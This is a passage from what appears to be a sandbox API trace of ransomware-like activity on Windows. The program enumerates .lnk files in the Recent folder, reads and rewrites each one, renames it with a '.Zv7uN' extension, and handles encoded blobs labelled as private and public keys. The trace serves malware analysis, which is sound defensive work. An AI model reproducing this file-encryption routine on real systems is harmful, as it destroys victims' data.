(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ys0oguz6oji9t.lnk.zv7un")) returned 1 [0084.702] GetCurrentThreadId () returned 0xa30 [0084.702] GetCurrentThreadId () returned 0xa30 [0084.702] GetCurrentThreadId () returned 0xa30 [0084.702] GetCurrentThreadId () returned 0xa30 [0084.702] GetCurrentThreadId () returned 0xa30 [0084.702] GetCurrentThreadId () returned 0xa30 [0084.703] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b3a480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2b3a480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2b3a480, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ZBpLsdIGq.lnk", cAlternateFileName="ZBPLSD~1.LNK")) returned 1 [0084.703] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.703] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zbplsdigq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b3a480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2b3a480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2b3a480, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x144d)) returned 1 [0084.703] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zbplsdigq.lnk")) returned 0x20 [0084.703] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk", dwFileAttributes=0x80) returned 1 [0084.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.707] GetCurrentThreadId () returned 0xa30 [0084.707] GetCurrentThreadId () returned 0xa30 [0084.707] GetCurrentThreadId () returned 0xa30 [0084.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.708] GetCurrentThreadId () returned 0xa30 [0084.708] GetCurrentThreadId () returned 0xa30 [0084.708] GetCurrentThreadId () returned 0xa30 [0084.708] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zbplsdigq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.708] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.708] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.708] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x144d [0084.708] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.708] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x144d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x144d, lpOverlapped=0x0) returned 1 [0084.710] CloseHandle (hObject=0x124) returned 1 [0084.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zbplsdigq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.713] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x144d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x144d, lpOverlapped=0x0) returned 1 [0084.716] CloseHandle (hObject=0x124) returned 1 [0084.721] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zbplsdigq.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZBpLsdIGq.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zbplsdigq.lnk.zv7un")) returned 1 [0084.723] GetCurrentThreadId () returned 0xa30 [0084.723] GetCurrentThreadId () returned 0xa30 [0084.723] GetCurrentThreadId () returned 0xa30 [0084.723] GetCurrentThreadId () returned 0xa30 [0084.723] GetCurrentThreadId () returned 0xa30 [0084.723] GetCurrentThreadId () returned 0xa30 [0084.723] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0524480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0524480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0524480, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="zES2lw09mWYyi-oFEb.lnk", cAlternateFileName="ZES2LW~1.LNK")) returned 1 [0084.723] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.723] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zes2lw09mwyyi-ofeb.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0524480, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0524480, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0524480, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41f)) returned 1 [0084.724] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zes2lw09mwyyi-ofeb.lnk")) returned 0x20 [0084.724] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\zES2lw09mWYyi-oFEb.lnk", dwFileAttributes=0x80) returned 1 [0084.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4D